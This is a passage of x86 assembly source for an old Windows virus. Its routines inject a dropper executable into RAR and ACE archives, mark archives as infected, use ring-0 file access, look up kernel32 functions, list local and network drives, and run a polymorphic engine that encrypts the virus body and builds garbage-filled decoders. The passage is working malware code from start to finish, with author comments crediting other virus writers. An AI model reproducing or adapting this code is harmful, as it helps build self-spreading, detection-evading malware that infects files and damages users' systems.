[ebp+RAR_CompressedSize-virus_start],eax mov [ebp+RAR_UnCompressedSize-virus_start],eax movzx edi,word ptr [ebp+RAR_FilenameSize-virus_start] add edi,RAR_without_filename lea esi,[ebp+RAR_HeaderType-virus_start] call generate_CRC32 mov word ptr [ebp+RAR_HeaderCRC-virus_start],ax mov esi,[ebp+dta.dta_filesize-virus_start] lea edx,[ebp+RAR_HeaderCRC-virus_start] ;start of RAR file header movzx ecx,word ptr [ebp+RAR_FilenameSize-virus_start] add ecx,RAR_file_length ;size of RAR file header mov ebx,[ebp+file_handle-virus_start] call fwrite ;write RAR file header jc exit_now add esi,ecx mov edx,[ebp+dropper_memory-virus_start] mov ecx,[ebp+dropper_size-virus_start] mov ebx,[ebp+file_handle-virus_start] call fwrite jmp exit_now ;ÄÄÄ´ other common functionz for ACE/RAR archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Allocate memory and load header of ACE or RAR header there ; __ar_load_header: mov eax,50*ACE_header_needed call malloc mov [ebp+archive_header_first-virus_start],eax or word ptr [ebp+errors-virus_start],1000b mov edx,eax ;new place in memory mov ebx,[ebp+file_handle-virus_start] mov esi,edi ;file pos mov ecx,50*ACE_header_needed ;size of header call fread ;read header mov [ebp+archive_read_length-virus_start],ecx ret ;--------------------------------------------------------- ;Test if archive file is infected if not generate new ;number which is divided 85 and write its to esi ; ; input: esi=where i'll write TimeDate ; output: cf ; __ar_is_infected: mov eax,[esi] ;TimeDate to eax xor edx,edx ;is divided 85 ? mov ecx,85 div ecx or edx,edx jz __ar_ii_exit mov eax,03030302h ;set new TimeDate call ppe_get_rnd_range inc eax imul eax,85 mov edx,[ebp+archive_header_first-virus_start] mov [esi],eax ;write new TimeDate clc ret __ar_ii_exit: stc ret ;----------------------------------------------------------------- ;This function serves for find the starting header of archive ACE ;or RAR. The archive is scanning from designate place to find out ;the starting header of SFX files. In DOS' SFX is on some place ;but in ACE-SFX is this border variable (in RAR-SFX not). Version ;of ACE-SFX exists in English and German but their size is same ; ; input: none ; output: cf=1 or EAX=CRC32 of file ; EBX=ACE_Archive or RAR_Archive ; EDI=header file pos ; file NOT closed ; dropper_memory is NOT deallocate ; dropper_handle dd ? ;file handle of Archive_Filename dropper_memory dd ? ;where is dropper placed ? dropper_size dd ? ;size of a dropper header_filepos dd ? ;where's header ? where_magic dd ? ;where's magic of ACE/RAR archive ? dest_filepos dd ? ;dest. file filepos ; prepare_file: cmp dword ptr [ebp+Archive_Filename_Sz-virus_start],0 jz pfile_exit ;is any file prepare ? mov edx,[ebp+filename_ptr-virus_start] call fopen jc pfile_exit ;open file mov [ebp+file_handle-virus_start],eax or word ptr [ebp+errors-virus_start],10000b mov eax,Archive_BufSize ;allocate memory to call malloc ;calculate CRC32 mov dword ptr [ebp+Archive_Buffer-virus_start],eax or word ptr [ebp+errors-virus_start],10b mov byte ptr [ebp+Archive_Number-virus_start],7 mov eax,7 ;but we have -6- places pfile_next_find: movzx eax,byte ptr [ebp+Archive_Number-virus_start] dec eax jz pfile_exit mov byte ptr [ebp+Archive_Number-virus_start],al lea ebx,[ebp+Archive_MagicWhere-virus_start] pfile_magic_ok: imul eax,4 ;and how many bytes to read add ebx,eax sub ebx,ebp movzx ecx,word ptr [ebp+ebx-2] ;ecx=bytes to read movzx esi,word ptr [ebp+ebx-4] ;esi=file pos mov [ebp+dest_filepos-virus_start],esi mov edx,[ebp+Archive_Buffer-virus_start] ;buffer mov ebx,[ebp+file_handle-virus_start] ;file handle call fread ;i can't check error ! mov edi,[ebp+Archive_Buffer-virus_start] ;prepare to scan mov ebx,edi add ebx,ecx pfile_search_again: cmp edi,ebx ;are we far then we can ? ja pfile_next_find lea esi,[ebp+RAR_Magic-virus_start] ;no, esi=RAR_Magic mov ecx,RAR_MagicSize ;and his size cmp byte ptr [ebp+Archive_Number-virus_start],4 jae pfile_search ;is it really RAR ? lea esi,[ebp+ACE_Magic-virus_start] ;set esi=ACE_Magic mov ecx,ACE_MagicSize ;and his size pfile_search: cld rep cmpsb ;compare magic jnz pfile_search_again ;shit, we must search on other place sub edi,edx ;edi=place before magic sub edi,RAR_MagicSize cmp byte ptr [ebp+Archive_Number-virus_start],4 jae pfile_read sub edi,ACE_BeforeMagic+ACE_MagicSize-RAR_MagicSize pfile_read: add edi,[ebp+dest_filepos-virus_start] mov [ebp+header_filepos-virus_start],edi ;file pos of header !! lea edx,[ebp+Archive_Filename-virus_start] call fopen jc pfile_exit ;nooooo, fucking jump ! mov [ebp+dropper_handle-virus_start],eax or word ptr [ebp+errors-virus_start],100000b mov ebx,eax ;handle to ebx call fgetsize ;i know i can use Archive_Filename_Sz but it can be change ! mov [ebp+dropper_size-virus_start],eax call malloc ;eax=file size mov [ebp+dropper_memory-virus_start],eax or word ptr [ebp+errors-virus_start],1000000b xor esi,esi mov edx,eax ;edx=place in memory mov ebx,[ebp+dropper_handle-virus_start] mov ecx,[ebp+dropper_size-virus_start] ;size of a file call fread jc pfile_exit mov edi,ecx mov esi,[ebp+dropper_memory-virus_start] call generate_CRC32 jmp pfile_quit pfile_exit: xor eax,eax pfile_quit: mov ebx,RAR_Archive cmp byte ptr [ebp+Archive_Number-virus_start],4 jae pfile_RAR_quit mov ebx,ACE_Archive pfile_RAR_quit: mov edi,[ebp+header_filepos-virus_start] or eax,eax ret ;----------------------------------------------------------------- ;this code was extracted from Vecna's Inca virus, thx2Vecna ; generate_CRC32: cld push ebx mov ecx, -1 mov edx, ecx NextByteCRC: xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 NextBitCRC: shr bx, 1 rcr ax, 1 jnc NoCRC xor ax, 08320h xor bx, 0edb8h NoCRC: dec dh jnz NextBitCRC xor ecx, eax xor edx, ebx dec di jnz NextByteCRC cmp byte ptr [ebp+Archive_Number-virus_start],4 jb ACE_CRC not edx not ecx ACE_CRC: pop ebx mov eax, edx rol eax, 16 mov ax, cx ret ;----------------------------------------------------------------- ;input: edi=where put new name (maximum=8+1+3) ;out: al=filename length ; generate_name: pusha cld lea esi,[ebp+gen_archive_filename-virus_start] mov eax,gen_archive_number call ppe_get_rnd_range mov ecx,eax name_search: jecxz name_found movzx eax,byte ptr [esi+1] add eax,2 add esi,eax dec ecx jmp name_search name_found: mov ebx,edi mov al,byte ptr [esi] call gen_spec_char no_gen_1: movzx ecx,byte ptr [esi+1] inc esi inc esi rep movsb call gen_spec_char mov eax,'exe.' mov [edi],eax add edi,4 mov edx,edi sub edx,ebx mov ecx,8+1+3 sub ecx,edx xor al,al rep stosb mov [esp].access_eax,edx popa ret gen_spec_char: or al,al jz char_exit mov eax,00000002h call ppe_get_rnd_range or al,al jz char_exit mov byte ptr [edi],'!' inc edi char_exit: ret __iluzo_return_8: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ functionz for file access ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;input: edx=filename ;output: cf, eax=file handle fopen: pusha mov eax,R0_OPENCREATFILE mov esi,edx mov ebx,2022h ;no int 24h, r/w mov ecx,32 ;file attrib mov edx,1 ;fail | open VxDCall IFSMGR_Ring0_FileIO mov [esp].access_eax,eax popa ret ;input: ebx=file handle fclose: pusha mov eax,R0_CLOSEFILE VxDCall IFSMGR_Ring0_FileIO popa ret ;input: ebx=file handle ; edx=buffer ; ecx=size ; esi=file pos ;output: cf, ecx=bytes read fread: pusha mov eax,R0_READFILE xchg edx,esi VxDCall IFSMGR_Ring0_FileIO mov [esp].access_ecx,eax cmp eax,ecx ;set cf flag (if eax<>ecx cf=1 else cf=0) popa ret ;input: ebx=file handle ; edx=buffer ; ecx=size ; esi=file pos ;output: cf, ecx=bytes written fwrite: pusha mov eax,R0_WRITEFILE xchg edx,esi VxDCall IFSMGR_Ring0_FileIO mov [esp].access_ecx,eax cmp eax,ecx popa ret ;input: ecx=fileattr ; edx=filename fsetattr: pusha mov eax,R0_FILEATTRIBUTES+SET_ATTRIBUTES mov esi,edx VxDCall IFSMGR_Ring0_FileIO popa ret ;input: ebx=file handle ;output: cf, eax=file size fgetsize: pusha mov eax,R0_GETFILESIZE VxDCall IFSMGR_Ring0_FileIO mov [esp].access_eax,eax popa ret ;input: ecx=attribs ; edx=filemask ; esi=dta ;output: cf, eax=handle ffindfirst: pusha mov eax,R0_FINDFIRSTFILE ;kind of function xchg edx,esi ;edx=dta struct VxDCall IFSMGR_Ring0_FileIO mov [esp].access_eax,eax ;result to pusha(eax) popa ret ;input: eax=handle ; esi=dta ;output: cf ffindnext: pusha xchg ebx, eax mov eax, R0_FINDNEXTFILE ;kind of function mov edx, esi ;edx=dta stuct VxDCall IFSMGR_Ring0_FileIO mov [esp].access_eax, eax popa ret ;input: eax=handle ffindclose: pusha xchg eax,ebx ;file handle to ebx mov eax,R0_FINDCLOSEFILE ;kind of function VxDCall IFSMGR_Ring0_FileIO popa ret malloc: pusha push 201h push eax VMMCall HeapAllocate add esp,8 mov [esp].access_eax,eax or eax,eax popa ret mdealloc: pusha push 0 push eax VMMCall HeapFree add esp,8 popa ret __iluzo_return_9: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ function to get kernel's address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ find_kernel32: mov eax,[esp+4] ;I need kernel's address and eax,0FFFF0000h ;'cause of GetDriveType add eax,65536 ;function __scanning: sub eax,65536 cmp word ptr [eax],'ZM' jnz __scanning pusha mov [ebp+kernel_base-virus_start],eax mov edx,eax ; kernel's base 'MZ' address in EAX mov ebx,eax add eax,[eax+3ch] add ebx,[eax+78h] ; GetProcAddress lea eax,[ebp+gpa-virus_start] mov dword ptr [ebp+__sET_sz -virus_start],15 mov dword ptr [ebp+__sET_str-virus_start],eax call __searchET mov ebx,eax ; GetDriveType address @pushsz "GetDriveTypeA" push dword ptr [ebp+kernel_base-virus_start] mov eax,ebx ;GetProcAddress call eax mov [ebp+pGetDriveType-virus_start],eax popa ret ; search function's address __searchET: mov eax,[ebx+32] ;search export table of add eax,edx ;KERNEL32, searching the __sET_next: mov esi,[eax] ;the names, then the ordinal add esi,edx ;and, finally the RVA pointerz mov edi,12345678h __sET_str equ dword ptr $-4 mov ecx,12345678h __sET_sz equ dword ptr $-4 rep cmpsb jz __sET_found add eax,00000004h jmp __sET_next __sET_found: sub eax,[ebx+32] sub eax,edx shr eax,1 add eax,[ebx+36] add eax,edx movzx eax,word ptr [eax] shl eax,2 add eax,[ebx+28] add eax,edx mov eax,[eax] add eax,edx ret ;ÄÄÄ´ search fixed, cd-rom, ram-disk, etc. ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function gets informations about disks. I call ;GetDriveType function to get type of disk. You can use ;Win32API Help to know more or WinBase.H (by CBuilder, MSVC) ;where you can see more flagz and their values. So, I can ;use GetLogicalDrives function, but that's one. Maybe you ;can say: "Why he will not check it in ring-0 ?". Because ;I don't know how. I tried to debug some VxD functions as ;is IFSFN_Ring0GetDriveInfo, but I haven't any flagz if ;DISK_FIXED is really 0x41 value or not (debug to know more). ;And if you want, try to debug IFSFN_Get_Drive_Info and ;there's only RET instruction :) ; get_disks: pusha xor ebx,ebx mov byte ptr [ebp+__disk-virus_start],'A' ; GetDriveType function... __gd_search: lea eax,[ebp+__disk-virus_start] push eax mov eax,[ebp+pGetDriveType-virus_start] call eax cmp eax,00000003h ;DISK_FIXED flag jz __gd_found cmp eax,00000004h ;DISK_REMOTE (network) flag jz __gd_found __gd_new_disk: cmp byte ptr [ebp+__disk-virus_start],'Z' jz __gd_finish inc byte ptr [ebp+__disk-virus_start] jmp __gd_search __gd_found: mov cl,'A' sub cl,byte ptr [ebp+__disk-virus_start] neg cl mov eax,00000001h shl eax,cl ;convert to BCD or ebx,eax jmp __gd_new_disk __gd_finish: mov [ebp+gdt_flags-virus_start],ebx popa ret __disk: db 'A:\',0 ;ÄÄÄ´ Prizzy Polymorphic Engine (PPE) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Welcome to my Prizzy Polymorphic Engine (PPE). ; ;I would like to thank GriYo/29A because I understood ;principle of the polymorphic's tables. In return I coded ;many interesting function with Coprocessor and MMX. ; ;Total instructions which I can generate are: ; * 149 type of base-instructions (37 from GriYo/29A) ; * 43 type of copro-instructions ; * 46 type of MMX-instructions ; ; base-instr copro-instr MMX-instr ; ------------ ------------- ----------- ; (clc,stc,cmc,cld...) (fst,fist w/d/q...) (movd,movq,...) ; mov reg(32,16,8),imm (fld,fild w/d/q...) (packssdw ...) ; mov reg(32,16,8),reg (fldl2t,fldl2e ...) (punpckhbw ...) ; (add,sub...) reg,imm (fadd,fiadd w/d/q.) (pcmpeqb ...) ; (xor,adc...) reg,reg (fsub,fisub w/d/q.) (psrlw,psrrlq.) ; push + garbage + pop (fsin,fcos,fpatan.) (psraw,psrad..) ; call + garbage + pop (fabs,fnop,fxch...) (psllw,psslq..) ; jmp + rnd_data (ftst,fxam,fsqrt..) (pand,pxor ...) ; jmp conditional (pmaddwd ...) ; mov(sx.zx) reg,reg (paddb,paddd..) ; (rcr,sal...) reg,imm (paddsb ...) ; (rol,shr...) reg,reg (paddusw ...) ; (bsf,bsr...) reg,imm (psubb,psubd..) ; (btc,bts...) reg,reg (psubsw ...) ; (seta,setp,setg ...) (psubusw ...) ; garbage + (loope...) ; garbage + dec + jnz ; gen reg + cjmp reg32 ; gen reg + rep(lods.) ; push val+garbage+pop ; gen rnd32 + crypt this is only part of reality ... ; ; I can generate garbage instructions which they will not ; modify flags (useful for MMX and JNZ work). ; ; I did function which can crypt a original value in reg32. ; for example: I can get 0x12345678 value to ESI, it will ; be crypted : MOV EAX, 38C407D6h ; ADD EAX, C73Bf82Ah ; MOV EDX, EAX ; NOT EDX ; MOV ESI, EDX ; XOR ESI, 7FD02C6Ah -> ESI=12345678h ; ; The very interesting is test which I find out if computer ; supports MMX - and it'll get over CPUID - and supports one ? ; ; Also I don't know if I must inicialize coprocessor or MMX ; but when I was debugging WinAMP plugins, he DO NOT inicia- ; lize ones. So I think it isn't necessary - believe me. ; But now, two days later, I find out that SoftICE wants ; inicialized these regs. ; ; And finally my awful shock. I found out If I have got a ; qword value in copro-reg and I wanna read dword via FILD, ; copro put to memory 0x80000000 value instead low-dword ; value - although I hooped in. But what can I do with it ? ; In the end I had to REMOVE code-operation through copro. ; I don't know how else to solve this problem - try it ! ; ; I hope the comments are enough to guide you through... ; __ppe_st_flags dw ? ;input of tbl_encode_loop __ppe_st_items db ? ;items in table __ppe_st_o_table dd ? ;offset to the table (part) ; ppe_startup: cld pusha ; clear table of registers (base/copro/mmx) mov byte ptr [ebp+used_regs-virus_start],00000000b mov byte ptr [ebp+used_regs_mmx-virus_start],00000000b mov byte ptr [ebp+used_regs_copro-virus_start],00000000b mov byte ptr [ebp+recursive_level-virus_start],00h mov byte ptr [ebp+recursive_lmmx -virus_start],00h mov dword ptr[ebp+counter_back -virus_start],-1 mov byte ptr [ebp+compare_index-virus_start],00h mov byte ptr [ebp+index_reg_get-virus_start],00h ; set style of the garbages mov byte ptr [ebp+garbage_style-virus_start], \ USED_BASED or USED_FLAGS or USED_COPRO or USED_MMX ; copy the body of our virus to buffer mov esi,ebp mov edi,[ebp+mem_address-virus_start] mov ecx,file_size rep movsb ; load address of the start of poly-decoder mov edi,[ebp+poly_start-virus_start] ; clear table xor ebx,ebx mov ecx,00000006h lea esi,[ebp+tbl_encode_loop-virus_start] __ppes_clear_table: lodsw __ppes_clear_item: mov dword ptr [esi],ebx add esi,00000008h dec al jnz __ppes_clear_item dec ecx jnz __ppes_clear_table ; I'm gonna write a flag which will be mean that global ; index reg ain't generated yet. mov byte ptr [ebp+gl_index_reg-virus_start],-1 ; index_reg/code_reg/counter_reg will in copro or mmx ? __ppes_new_style: mov al,[ebp+used_regs-virus_start] push eax call ppe_get_rnd32 and al,1 mov [ebp+copro_or_mmx-virus_start],al ; get index_reg --> (xor,sub...) [index_reg], reg32 __ppes_new_ireg: call ppe_get_valid_reg or al,al jnz __ppes_test_reg movzx ebx,ah lea ebx,[ebp+tbl_regs+ebx*02h-virus_start] test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __ppes_new_ireg __ppes_test_reg: mov [ebp+index_reg-virus_start],al mov [ebp+index_reg_place-virus_start],ah call ppe_set_valid_reg ; get code_reg --> (xor,sub...) [---], code_reg call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov byte ptr [ebp+code_reg-virus_start],0 mov [ebp+code_reg_place-virus_start],al ; get counter_reg --> dec counter_reg, jnz ... call ppe_get_valid_reg mov [ebp+counter_reg-virus_start],al mov [ebp+counter_reg_place-virus_start],ah call ppe_set_valid_reg ; 'cause we have few registers I can't have got all idx in base pop eax cmp byte ptr [ebp+index_reg-virus_start],0 jnz __ppes_okay cmp byte ptr [ebp+counter_reg-virus_start],0 jnz __ppes_okay mov [ebp+used_regs-virus_start],al jmp __ppes_new_style __ppes_okay: ; choose subroutine xor ebx,ebx mov ecx,00000006h lea esi,[ebp+tbl_encode_loop-virus_start] __ppes_choose: lodsw ;AH=random?, AL=items mov [ebp+__ppe_st_flags -virus_start],ax mov [ebp+__ppe_st_items -virus_start],al mov [ebp+__ppe_st_o_table-virus_start],esi or ah,ah ;random ? JZ if not jnz __ppes_crun __ppes_cnext: mov esi,[ebp+__ppe_st_o_table-virus_start] movzx eax,byte ptr [ebp+__ppe_st_items-virus_start] call ppe_get_rnd_range push eax imul eax,00000008h cmp dword ptr [esi+eax],00000000h pop eax jnz __ppes_cnext imul eax,00000008h add esi,eax __ppes_crun: lodsd ;already generated byte... lodsd add eax,ebp sub eax,offset virus_start call eax mov dword ptr [esi-8],1 ;already generated flag dec byte ptr [ebp+__ppe_st_flags-virus_start] jz __ppes_ccmp cmp byte ptr [ebp+__ppe_st_flags-virus_start+1],0 jz __ppes_cnext jmp __ppes_crun __ppes_ccmp: mov esi,[ebp+__ppe_st_o_table-virus_start] movzx eax,byte ptr [ebp+__ppe_st_items-virus_start] imul eax,00000008h add esi,eax dec ecx jnz __ppes_choose ; finishing (PPE)... mov eax,edi sub eax,[ebp+poly_start-virus_start] add eax,file_size mov [ebp+poly_finish-virus_start],eax popa ret ;ÄÄÄ´ generate code which will detect mmx support ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function is one of the most important during build ;the poly-decoder etc. The first, then we'll begin generate ;garbage, we must test MMX - meanwhile we can generate ;no copro/mmx garbage - as is jumps+move+math and so on. ; ppe_get_cpuid_mmx: ; we can't generate copro & MMX instruction ; because we don't if CPU supports MMX and because we ; don't have generated a global index register for copro call gen_garbage_based call gen_garbage_based call __cpuid_mmx ret ;ÄÄÄ´ function to clear copro and mmx regs ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Haha, this function is here only for it that SoftICE had ;some problems. The say I must clear coprocessor then I'll ;begin use copro-instructions. BUT ! I find out WinAMP also ;don't clear them. So, I don't know - but never mind. ; ppe_copro_mmx_clear: ; save registers pusha call gen_garbage_based ; test, if MMX is support mov al,0 call __mmx_test_start call gen_garbage_based mov ax,770Fh ;EMMS instruction stosw call gen_garbage_based call __mmx_test_finish ; reset copro-regs call gen_garbage_based mov ax,0E3DBh ;FNINIT instruction stosw ; bye, bye mov [esp],edi popa ret ;ÄÄÄ´ generate code to get delta-address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function get -actual- address of poly-loop. ; __ppe_gd_call dd ? ; ppe_get_delta: ; save registers pusha ; generate garbage but i don't copro ! call gen_garbage_based call gen_garbage_based ; prepare CALL mov al,0E8h stosb stosd mov [ebp+__ppe_gd_call-virus_start],edi push edi call ppe_gen_rnd_block mov eax,edi pop esi sub eax,esi mov dword ptr [esi-00000004h],eax call gen_garbage_based ; now, we must choose a global index register call ppe_get_empty_reg mov [ebp+gl_index_reg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov al,58h or al,byte ptr [ebp+gl_index_reg-virus_start] stosb ;POP base-reg32 call gen_garbage_no_flags ;'cause delta isn't finished ; we must fix real address mov eax,[ebp+__ppe_gd_call-virus_start] sub eax,[ebp+mem_address-virus_start] sub eax,file_size push eax ; ADD or SUB ? call ppe_get_rnd32 and al,1 jz __ppe_gd_sub ; fix with ADD --> add reg32, fix_value mov ax,0C081h or ah,byte ptr [ebp+gl_index_reg-virus_start] stosw pop eax neg eax jmp __ppe_gd_fix_done ; fix with SUB --> sub reg32, -fix_value __ppe_gd_sub: mov ax,0E881h or ah,byte ptr [ebp+gl_index_reg-virus_start] stosw pop eax __ppe_gd_fix_done: stosd mov [esp],edi popa ret ;ÄÄÄ´ generate code to set index for decode-loop ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_index: ; save registers pusha call gen_garbage ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; crypt a start of decoding mov eax,file_size neg eax movzx ebx,byte ptr [ebp+index_reg_place-virus_start] cmp byte ptr [ebp+index_reg-virus_start],0 jz __ppe_gi_nr_finish push eax call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah movzx ebx,al pop eax __ppe_gi_nr_finish: call ppe_crypt_value lea ebx,[ebp+tbl_regs+ebx*02h-virus_start] call __copro_fix_delta ; where I have save a index_reg ? base/copro/mmx ? cmp byte ptr [ebp+index_reg-virus_start],0 jz __ppe_gi_finish cmp byte ptr [ebp+index_reg-virus_start],1 jz __ppe_gi_copro ; put value from b-reg to mmx-reg & copro-reg mov ah,byte ptr [ebx] mov al,byte ptr [ebp+index_reg_place-virus_start] mov bx,0002h call ppe_math_extended jmp __ppe_gi_finish __ppe_gi_copro: ; mov b-reg32 to copro mov ah,byte ptr [ebx] mov al,byte ptr [ebp+index_reg_place-virus_start] call __copro_reg2mov __ppe_gi_finish: pop ax mov [ebp+used_regs-virus_start],al mov byte ptr [ebp+index_reg_get-virus_start],01h mov [esp],edi popa ret ;ÄÄÄ´ generate code to set code value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_code: ; save registers pusha call gen_garbage ; get random code to base mov eax,[ebp+code_value-virus_start] movzx ebx,byte ptr [ebp+code_reg_place-virus_start] call ppe_crypt_value ; wow, very easy function... mov [esp],edi popa ret ;ÄÄÄ´ generate code to set counter random-value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_get_counter: ; save registers pusha call gen_garbage mov al,[ebp+used_regs-virus_start] push ax ; get a random counter call ppe_get_rnd32 mov [ebp+counter_value-virus_start],eax mov [ebp+counter_vfinish-virus_start],eax add dword ptr [ebp+counter_vfinish-virus_start],file_size / 04h movzx ebx,byte ptr [ebp+counter_reg_place-virus_start] cmp byte ptr [ebp+counter_reg-virus_start],0 jz __ppe_gcount_nr_finish push eax call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah movzx ebx,al pop eax __ppe_gcount_nr_finish: call ppe_crypt_value lea ebx,[ebp+tbl_regs+ebx*02h-virus_start] ; move to base or copro/mmx ? cmp byte ptr [ebp+counter_reg-virus_start],0 jz __ppe_gcount_finish cmp byte ptr [ebp+counter_reg-virus_start],1 jz __ppe_gcount_copro ; move to mmx-reg & copro-reg mov ah,byte ptr [ebx] mov al,byte ptr [ebp+counter_reg_place-virus_start] mov bx,0002h call ppe_math_extended jmp __ppe_gcount_finish __ppe_gcount_copro: ; move to copro-reg mov ah,byte ptr [ebx] mov al,byte ptr [ebp+counter_reg_place-virus_start] call __copro_reg2mov __ppe_gcount_finish: pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ generate encrypted body of this virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ppe_encode_one: ; save registers pusha ; select style (add/sub/xor) mov eax,00000003h call ppe_get_rnd_range mov [ebp+crypt_style-virus_start],al ; generate a code value call ppe_get_rnd32 mov [ebp+code_value_add-virus_start],eax call ppe_get_rnd32 mov [ebp+code_value-virus_start],eax ; preparing... mov esi,[ebp+mem_address-virus_start] add esi,file_size mov ecx,file_size / 04h mov ebx,[ebp+code_value-virus_start] mov edx,[ebp+code_value_add-virus_start] __ppe_eo_coding: sub esi,4 mov eax,[esi] ; I must select style of encoding... cmp byte ptr [ebp+crypt_style-virus_start],2 jz __ppe_eo_xor cmp byte ptr [ebp+crypt_style-virus_start],1 jz __ppe_eo_sub add eax,ebx jmp __ppe_eo_next __ppe_eo_sub: sub eax,ebx jmp __ppe_eo_next __ppe_eo_xor: xor eax,ebx __ppe_eo_next: mov [esi],eax sub ebx,edx dec ecx jnz __ppe_eo_coding ; save new values add ebx,edx mov [ebp+code_value-virus_start],ebx ; change sub <--> add cmp byte ptr [ebp+crypt_style-virus_start],0 jnz __ppe_eo_fsub not byte ptr [ebp+crypt_style-virus_start] neg byte ptr [ebp+crypt_style-virus_start] jmp __ppe_eo_finish __ppe_eo_fsub: cmp byte ptr [ebp+crypt_style-virus_start],1 jnz __ppe_eo_finish neg byte ptr [ebp+crypt_style-virus_start] not byte ptr [ebp+crypt_style-virus_start] __ppe_eo_finish: popa ret ;ÄÄÄ´ function to build poly-decoder ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ; ; __ppe_dindex_breg db ? __ppe_dcode_breg db ? ; ppe_decoder: ; save registers pusha ; save used-regs mov al,byte ptr [ebp+used_regs-virus_start] push ax ; save this place in memory for the future JNZ jump mov [ebp+counter_back-virus_start],edi ;---- INDEX REG ---- ; mov index_reg from copro/mmx if it's necessary lea ebx,[ebp+index_reg_place-virus_start] cmp byte ptr [ebp+index_reg-virus_start],0 ;base ? jz __ppe_dindex_finish __ppe_dindex_new_reg: call ppe_get_empty_reg test byte ptr [ebx+REG_FLAGS],REG_NO_COPRO jnz __ppe_dindex_new_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah cmp byte ptr [ebp+index_reg-virus_start],1 ;copro ? jz __ppe_dindex_copro ; mov mmx-reg & copro-reg to base-empty-reg push ebx mov ah,byte ptr [ebx] mov al,byte ptr [ebp+index_reg_place-virus_start] mov bx,0102h call ppe_math_extended pop ebx jmp __ppe_dindex_finish __ppe_dindex_copro: ; mov copro-reg to base-empty-reg mov ah,byte ptr [ebx] mov al,byte ptr [ebp+index_reg_place-virus_start] call __copro_mov2reg __ppe_dindex_finish: mov al,byte ptr [ebx] mov [ebp+__ppe_dindex_breg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah ;---- CODE REG ---- lea ebx,[ebp+code_reg_place-virus_start] mov al,byte ptr [ebx] mov [ebp+__ppe_dcode_breg-virus_start],al call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov al,31h ;XOR instruction cmp byte ptr [ebp+crypt_style-virus_start],2 jz __ppe_dcrypt_finish mov al,29h ;SUB instruction cmp byte ptr [ebp+crypt_style-virus_start],1 jz __ppe_dcrypt_finish mov al,01h ;ADD instruction __ppe_dcrypt_finish: mov ah,byte ptr [ebp+__ppe_dcode_breg-virus_start] shl ah,3 or ah,byte ptr [ebp+__ppe_dindex_breg-virus_start] stosw ; enable registers pop ax mov [ebp+used_regs-virus_start],al mov [esp],edi popa ret ;ÄÄÄ´ function to select new index ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ __ppe_gni_random db ? ppe_get_next_index: ; save registers pusha ; save used-regs mov al,[ebp+used_regs-virus_start] push ax ; add or sub ? call ppe_get_rnd32 and al,1 mov [ebp+__ppe_gni_random-virus_start],al ; where I have index store ? cmp byte ptr [ebp+index_reg-virus_start],2 jz __ppe_gni_mmx cmp byte ptr [ebp+index_reg-virus_start],1 jz __ppe_gni_copro ; index_reg is in base-reg call ppe_get_empty_reg call __reg_to_bcd or byte ptr [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gni_random-virus_start],1 jz __ppe_gni_b2 mov al,04h movzx eax,al call ppe_crypt_value mov al,03h ;ADD instruction __ppe_gni_b1_after: mov ah,[ebp+index_reg_place-virus_start] shl ah,3 or ah,bl or ah,0C0h stosw jmp __ppe_gni_finish __ppe_gni_b2: mov al,0FCh movsx eax,al call ppe_crypt_value mov al,2Bh ;SUB instruction jmp __ppe_gni_b1_after ; COPRO operation __ppe_gni_copro: call ppe_get_empty_reg call __reg_to_bcd or [ebp+used_regs-virus_start],ah mov bl,al cmp byte ptr [ebp+__ppe_gni_random-virus_start],1 jz __ppe_gni_c2 mov al,04h movzx eax,al call ppe_crypt_value lea esi,[ebp+tbl_copro_math+02h-virus_start] ;FIADD dw __ppe_gni_c1_after: mov ah,bl call ppe_reg2mem ;EDX is output 